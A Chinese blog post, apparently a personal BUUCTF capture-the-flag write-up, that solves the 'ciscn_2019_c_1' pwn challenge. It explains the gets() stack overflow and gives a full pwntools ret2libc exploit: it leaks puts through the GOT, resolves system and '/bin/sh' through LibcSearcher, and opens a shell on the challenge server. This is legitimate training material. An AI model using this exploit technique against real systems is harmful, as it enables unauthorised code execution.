405 字
2 分钟
BUUCTF PWN 个人题解册
2025-06-23
NOTE

该题册只记录笔者觉得有价值的题解。笔者菜鸟一枚,求大佬轻喷qwq | 最后更新时间:2025-6-24

ciscn_2019_c_1#

知识点:x64栈溢出、ret2libc

题目地址

解题思路#

checksec 一下题目

checksec

ida反编译

main

大致检查了一下该程序提供的的三个选项只有Encrypt选项有gets栈溢出漏洞,看一下相关函数

encrypt

函数将用户输入的内容进行异或处理破坏原本的字符串,strlen() 函数检测到字符串中的/x00时输出该字符之前的字符串的总长,在构建 payload 时可以将这个字符写在头部阻止异或处理

只能通过 ret2libc 的方式泄露libc的载入地址,并计算函数的偏移量,最后栈溢出填入函数地址和参数获得 shell

需要先构建一个 payload 泄露 got 表保存的 puts 真实地址,然后再计算libc基地址

用 puts 函数的真实地址减去 libc puts 函数的偏移量得到libc的基地址,libc基地址加上libc system 函数的偏移量得到system函数的真实地址

/bin/sh则需要传入rdi

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

io = remote("node5.buuoj.cn", 28051)
# io = process('./ciscn_2019_c_1')
elf = ELF('./ciscn_2019_c_1')

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
encrypt = 0x4009A0
pop_rdi = 0x400c83
ret = 0x4006b9

payload1 = flat(b'\0', cyclic(0x50 + 8 - 1), p64(pop_rdi), p64(puts_got), p64(puts_plt), p64(encrypt))
io.sendlineafter(b'choice!\n', b'1')
io.sendlineafter(b'encrypted\n', payload1)

io.recvline() # Ciphertext
io.recvline() # encrypt
puts_addr = u64(io.recvuntil(b'\n')[:-1].ljust(8, b'\0'))

success(f"puts_addr --> {hex(puts_addr)}")

libc = LibcSearcher('puts', puts_addr)

libc_addr = puts_addr - libc.dump('puts')
system_addr = libc_addr + libc.dump('system')
sh = libc_addr + libc.dump('str_bin_sh')

payload2 = flat(b'\0', cyclic(0x50 + 8 - 1), p64(ret), p64(pop_rdi), p64(sh), p64(system_addr)) # ret 栈平衡
io.sendlineafter(b'encrypted\n', payload2)
io.interactive()
BUUCTF PWN 个人题解册
https://yuuko.qzz.io/posts/buuctf-pwn-个人题解册/
作者
Yuuko
发布于
2025-06-23
许可协议
CC BY-NC-SA 4.0

🚧评论系统正在测试,所以出现蜜汁bug是正常的啦 (。・∀・)ノ゙ 如果评论加载异常试试F5大法~